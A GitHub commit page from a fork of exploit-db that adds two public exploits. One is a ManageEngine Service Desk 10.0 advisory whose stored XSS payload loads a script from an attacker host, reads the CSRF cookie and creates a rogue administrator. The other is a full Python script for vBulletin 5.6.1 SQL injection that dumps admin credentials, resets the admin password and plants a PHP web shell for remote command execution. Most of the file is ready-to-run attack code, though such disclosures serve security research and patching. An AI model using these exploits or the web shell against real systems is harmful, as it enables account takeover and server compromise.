forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
2 changes to exploits/shellcodes vBulletin 5.6.1 - 'nodeId' SQL Injection ManageEngine Service Desk 10.0 - Cross-Site Scripting
Offensive Security
committed
May 16, 2020
1 parent
522576c
commit a5ffe5b
Showing
3 changed files
with
390 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
# Exploit Title: ManageEngine Service Desk 10.0 - Cross-Site Scripting | ||
# Date: 2020-05-14 | ||
# Exploit Author: Felipe Molina (@felmoltor) | ||
# Vendor Homepage: https://www.manageengine.com/ | ||
# Software Link: https://www.manageengine.com/products/service-desk/download.html | ||
# Version: 10.0 (10000.0.0.0) | ||
# Tested on: Windows 10 | ||
# CVE : CVE-2019-15083 | ||
|
||
|
||
[SPUK-2020-05/ManageEngine Service Desk XSS in remote IT Assets Management ]------------------------------ | ||
|
||
SECURITY ADVISORY: SPUK-2019-04/ManageEngine Service Desk XSS in remote IT Assets Management | ||
|
||
Affected Software: ManageEngine Service Desk Plus (version 10.0, installer version 10000.0.0.0, SHA1: 86EA684666CE85AF710CA9805B7FF37E3D4FD65D) | ||
Vulnerability: Cross-Site Scripting | ||
CVE: CVE-2019-15083 | ||
CVSSv3: 5.9 (CVSS:3.0/AV:A/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N) | ||
Severity: Medium | ||
Release Date: 2020-05-14 | ||
|
||
I. Background | ||
~~~~~~~~~~~~~ | ||
|
||
From ManageEngine's website: | ||
|
||
"ServiceDesk Plus is a game changer in turning IT teams from daily fire-fighting to delivering awesome customer service. It provides great visibility and central control in dealing with IT issues to ensure that businesses suffer no downtime. For 10 years and running, it has been delivering smiles to millions of IT folks, end users, and stakeholders alike. | ||
|
||
Version Enterprise: help desk + ITIL + asset + project | ||
|
||
The complete ITIL ready ITSM suite with all features that an IT service desk needs. | ||
|
||
* Incident management | ||
* Problem management | ||
* Change management | ||
* IT project management | ||
* Service catalog | ||
* Asset management | ||
* CMDB" | ||
|
||
II. Description | ||
~~~~~~~~~~~~~~~ | ||
|
||
From wks administrator to Manage Engine Administrator: | ||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ||
|
||
Default installations of "ManageEngine ServiceDesk Plus 10.0" were found to be vulnerable to a XSS injected by a workstation local administrator. Using the installed program names of the computer as a vector, the local administrator can execute JavaScript code on the Manage Engine ServiceDesk administrator side. | ||
|
||
On "Asset Home > Server > <workstation> > software" the administrator of ManageEngine can control what software is installed on the workstation. This table shows all the installed program names on the column "Software". In this field and probably in others, a remote attacker can inject malicious code in order to execute it when the ManageEngine admnistrator visualizes this page. | ||
|
||
In this case, the provided proof of concept creates a administrator user on ManageEngine Service Desk. | ||
|
||
PoC: | ||
~~~~ | ||
|
||
1. Access to the workstation managed by ManageEngine with a local administrator account. | ||
2. Open regedit.exe as administrator | ||
3. Navigate to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\<program>" | ||
4. Change the current "DisplayName" to this value: | ||
test</a><script src=http://<attacker_ip>/addadmin.js type="text/javascript"/><a>bla | ||
5. On the root of <attacker_ip> web server, deploy the file "addadmin.js" with this content: | ||
var createAdminParams= "sdpcsrfparam=<TOKEN>&mode=new&loginPermitted=null&loggedUserId=4&userID=-1&divToShow=listView&firstName=Legituser+4&middleName=L&lastName=Inocent+4&fullName=Legituser+4+L+Inocent+4&ciTypeId=6&ciId=null&employeeID=666&CI_BaseElement_IMPACTID=null&ciDescription=&ciName=Legituser+4+L+Inocent+4&email=&phone=&mobile=&smsID=&cost=0.00&deptName=None&reportingToid=&reportingTo=&jobTitle=&isSDSiteAdmin=false&associatedSites=null&projectrole=null&canApproveSR=false&approveLimitValue=&provideLogin=on&sdpAPIKey=&apiKeyExpiry=&userName=legituser4&addNewLogin=true&userPwd=legituser&confirmUserPwd=legituser&userDomain=None&isAdmin=SDAdmin&assignedRoles=2&dcRole=DCAdmin&froModuleForUDF=TECH&addButton=Save"; | ||
|
||
// Save the CSRF cookie into a variable | ||
var sdpcsrfcookie; | ||
carr = document.cookie.split(";"); | ||
for (i=0;i<carr.length;i++){ | ||
if (carr[i].split("=")[0].trim() == "sdpcsrfcookie"){ | ||
sdpcsrfcookie=carr[i].split("=")[1].trim(); | ||
} | ||
} | ||
|
||
if (sdpcsrfcookie === undefined){ | ||
console.log("No CSRF cookie was found. Aborting the PoC :-(") | ||
} | ||
else { | ||
var ajaxreq = new XMLHttpRequest(); | ||
ajaxreq.open('POST', '/TechnicianDef.do'); | ||
ajaxreq.withCredentials = true; | ||
ajaxreq.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml"); | ||
ajaxreq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); | ||
console.log("Creating a new user on Manage Engine with CSRF token: "+sdpcsrfcookie); | ||
// Update the CSRF token parameter with the token present in the user cookie | ||
params = createAdminParams.replace("<TOKEN>",sdpcsrfcookie); | ||
console.log("posting to create a new admin user: "+params); | ||
ajaxreq.send(params); | ||
} | ||
6. Reboot the workstation to forthe the agent to update the program list. | ||
7. Now, login as the administrator of ManageEngine SelfService. | ||
8. Navigate to "Asset Home > Server > <workstation> > software" | ||
9. Click on "Next" button until the software name is visualized on the table. | ||
10. Now, go to "Admin > Users > Technicians" and verify that the administrator user "legituser4 " has been created. | ||
|
||
III. Impact | ||
~~~~~~~~~~~ | ||
|
||
The XSS can be injected remotely from any workstation that is being managed by ManageEngine ServiceDesk with no need for the attacker to access the web application. This PoC shows the creation of an administrator of ManageEngine, but it can be potentially used to create Domain Admin users if the service is configured properly, therefore, compromising the whole domain where the workstation is in. | ||
|
||
CVSS 3.0 Score: | ||
|
||
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N | ||
|
||
|
||
IV. Remediation | ||
~~~~~~~~~~~~~~~ | ||
|
||
Sanitize all the input from the remote agents before showing the values in the web page. Use typical XSS protection also for values that are not directly input on web formularies of the application. | ||
|
||
|
||
V. Disclosure | ||
~~~~~~~~~~~~~ | ||
|
||
Reported By: Felipe Molina de la Torre (Felipe (at) SensePost.com) | ||
|
||
Vendor Informed: 2019-04-30 | ||
Patch Release Date: 2019-04-16 | ||
Publick Ack. of the vuln: 2020-05-13 | ||
Advisory Release Date: 2020-05-14 | ||
|
||
|
||
---------------------------------[SPUK-2020-05/ManageEngine Service Desk XSS in remote IT Assets Management ]--- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,267 @@ | ||
# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection | ||
# Date: 2020-05-15 | ||
# Exploit Author: Photubias | ||
# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1 | ||
# Version: vBulletin v5.6.x (prior to Patch Level 1) | ||
# Tested on: vBulletin v5.6.1 on Debian 10 x64 | ||
# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE | ||
|
||
#!/usr/bin/env python3 | ||
''' | ||
Copyright 2020 Photubias(c) | ||
This program is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
This program is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with this program. If not, see <http://www.gnu.org/licenses/>. | ||
File name CVE-2020-12720.py | ||
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be | ||
This is a native implementation without requirements, written in Python 3. | ||
Works equally well on Windows as Linux (as MacOS, probably ;-) | ||
##-->> Full creds to @zenofex and @rekter0 <<--## | ||
''' | ||
import urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string | ||
|
||
## Static vars; change at will, but recommend leaving as is | ||
sADMINPASS = '12345678' | ||
sCMD = 'id' | ||
sURL = 'http://192.168.50.130/' | ||
sUSERID = '1' | ||
sNEWPASS = '87654321' | ||
iTimeout = 5 | ||
|
||
## Ignore unsigned certs | ||
ssl._create_default_https_context = ssl._create_unverified_context | ||
|
||
## Keep track of cookies between requests | ||
cj = http.cookiejar.CookieJar() | ||
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) | ||
|
||
def randomString(stringLength=8): | ||
letters = string.ascii_lowercase | ||
return ''.join(random.choice(letters) for i in range(stringLength)) | ||
|
||
def getData(sUrl, lData): | ||
try: | ||
oData = urllib.parse.urlencode(lData).encode() | ||
oRequest = urllib.request.Request(url = sUrl, data = oData) | ||
return oOpener.open(oRequest, timeout = iTimeout) | ||
except: | ||
print('----- ERROR, site down?') | ||
sys.exit(1) | ||
|
||
def verifyBug(sURL,sUserid='1'): | ||
sPath = 'ajax/api/content_infraction/getIndexableContent' | ||
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if not 'cve-2020-12720' in sResponse: | ||
print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!') | ||
return False | ||
else: | ||
print('[+] SQLi Success!') | ||
return True | ||
|
||
def takeoverAccount(sURL, sNEWPASS): | ||
sPath = 'ajax/api/content_infraction/getIndexableContent' | ||
### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720 | ||
## Get Table Prefixes | ||
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').replace('language','') | ||
else: sPrefix = '' | ||
#print('[+] Got table prefix "'+sPrefix+'"') | ||
|
||
## Get usergroup ID for "Administrators" | ||
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\'Administrators\';--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') | ||
#print('[+] Administrators Group ID: '+sGroupID) | ||
|
||
## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation | ||
lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').split('|') | ||
#print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg) | ||
|
||
## Let's create a Human Verify Captcha | ||
sPath = 'ajax/api/hv/generateToken?' | ||
lData = {'securitytoken':'guest'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('"','') | ||
else: sHash = '' | ||
|
||
## Get the captcha answer from DB | ||
sPath = 'ajax/api/content_infraction/getIndexableContent' | ||
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')) | ||
else: iAnswers = 1 | ||
|
||
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') | ||
else: sAnswer = '' | ||
|
||
## Now request PW reset and retrieve the token | ||
sPath = 'auth/lostpw' | ||
lData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
|
||
sPath = 'ajax/api/content_infraction/getIndexableContent' | ||
lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') | ||
else: sToken = '' | ||
|
||
## Finally the password reset itself | ||
sPath = 'auth/reset-password' | ||
lData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'} | ||
sResponse = getData(sURL + sPath, lData).read().decode() | ||
if not 'Logging in' in sResponse: | ||
print('[-] Failed to reset the password') | ||
return '' | ||
else: | ||
print('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS) | ||
return sUserid | ||
|
||
def createBackdoor(sURL, sADMINPASS, sUserid='1'): | ||
## Activating Sitebuilder | ||
sPath = 'ajax/activate-sitebuilder' | ||
lData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} | ||
oResponse = getData(sURL + sPath, lData) | ||
if not oResponse.code == 200: | ||
print('[-] Error activating sitebuilder') | ||
sys.exit(1) | ||
|
||
## Confirming the password, getting new securitytoken | ||
sPath = 'auth/ajax-login' | ||
lData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} | ||
oResponse = getData(sURL + sPath, lData) | ||
sResponse = oResponse.read().decode() | ||
if 'lostpw' in sResponse: | ||
print('[-] Error: authentication for userid ' + sUserid + ' failed') | ||
sys.exit(1) | ||
sToken = sResponse.split(',')[1].split(':')[1].replace('"','').replace('}','') | ||
print('[+] Got token: '+sToken) | ||
|
||
## cpsession is needed, use this for extra verification | ||
#for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc | ||
|
||
## First see if our backdoor does not already exists | ||
sPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper' | ||
lData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken} | ||
oResponse = getData(sURL + sPath, lData) | ||
sResponse = oResponse.read().decode() | ||
if 'cve-2020-12720' in sResponse: | ||
sPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0] | ||
print('[+] This machine was already pwned, using "' + sPageName + '" for your command') | ||
return sPageName | ||
|
||
|
||
## Create a new empty page | ||
sPath = 'ajax/api/widget/saveNewWidgetInstance' | ||
lData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken} | ||
oResponse = getData(sURL + sPath, lData) | ||
sResponse = oResponse.read().decode() | ||
sWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','') | ||
sPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','') | ||
print('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID) | ||
|
||
## Now submitting the page content | ||
sPageName = 'cve-2020-12720-'+randomString() | ||
sPath = 'ajax/api/widget/saveAdminConfig' | ||
lData = {'widgetid':'23', | ||
'pagetemplateid':sPageTemplateID, | ||
'widgetinstanceid':sWidgetInstanceID, | ||
'data[widget_type]':'', | ||
'data[title]':sPageName, | ||
'data[show_at_breakpoints][desktop]':'1', | ||
'data[show_at_breakpoints][small]':'1', | ||
'data[show_at_breakpoints][xsmall]':'1', | ||
'data[hide_title]':'0', | ||
'data[module_viewpermissions][key]':'show_all', | ||
'data[code]':"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');", | ||
'securitytoken':sToken} | ||
oResponse = getData(sURL + sPath, lData) | ||
if not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName) | ||
|
||
## Finally saving the new page | ||
sPath = 'admin/savepage' | ||
lData = {'input[ishomeroute]':'0', | ||
'input[pageid]':'0', | ||
'input[nodeid]':'0', | ||
'input[userid]':'1', | ||
'input[screenlayoutid]':'2', | ||
'input[templatetitle]':sPageName, | ||
'input[displaysections[0]]':'[{"widgetId":"23","widgetInstanceId":"' + sWidgetInstanceID + '"}]', | ||
'input[displaysections[1]]':'[]', | ||
'input[displaysections[2]]':'[]', | ||
'input[displaysections[3]]':'[]', | ||
'input[pagetitle]':sPageName, | ||
'input[resturl]':sPageName, | ||
'input[metadescription]':'Photubias+Shell', | ||
'input[pagetemplateid]':sPageTemplateID, | ||
'url':sURL, | ||
'securitytoken':sToken} | ||
oResponse = getData(sURL + sPath, lData) | ||
if not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName) | ||
return sPageName | ||
|
||
def main(): | ||
if len(sys.argv) == 1: | ||
print('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>') | ||
print(' Example: ./CVE-2020-12720.py http://192.168.50.130/ "cat /etc/passwd"') | ||
print(' But for now, ask questions then') | ||
sURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ') | ||
if sURL == '': sURL = 'http://192.168.50.130' | ||
else: | ||
sURL = sys.argv[1] | ||
sCMD = sys.argv[2] | ||
if not sURL[:-1] == '/': sURL += '/' | ||
if not sURL[:4].lower() == 'http': sURL = 'http://' + sURL | ||
print('[+] Welcome, first verifying the SQLi vulnerability') | ||
if verifyBug(sURL): | ||
print("----\n" + '[+] Attempting automatic admin account takeover') | ||
sUSERID = takeoverAccount(sURL, sNEWPASS) | ||
sADMINPASS = sNEWPASS | ||
if sUSERID == '': | ||
sUSERID = '1' | ||
sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') | ||
else: | ||
sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') | ||
print("----\n"+'[+] So far so good, attempting the creation of the backdoor') | ||
sPageName = createBackdoor(sURL, sADMINPASS, sUSERID) | ||
|
||
if len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ') | ||
if sCMD == '': sCMD = 'id' | ||
sCmd = urllib.parse.quote(sCMD) | ||
sPath = sPageName + "?cmd=" + sCmd | ||
|
||
print('[+] Opening '+sURL + sPath) | ||
try: | ||
oRequest = urllib.request.Request(url = sURL + sPath) | ||
oResponse = oOpener.open(oRequest, timeout = iTimeout) | ||
print('#######################') | ||
sResponse = oResponse.read().decode() | ||
print('[+] Command result:') | ||
print(sResponse.split('###SHELLRESULT###')[1]) | ||
except: | ||
print('[-] Something went wrong, bad command?') | ||
sys.exit(1) | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
Oops, something went wrong.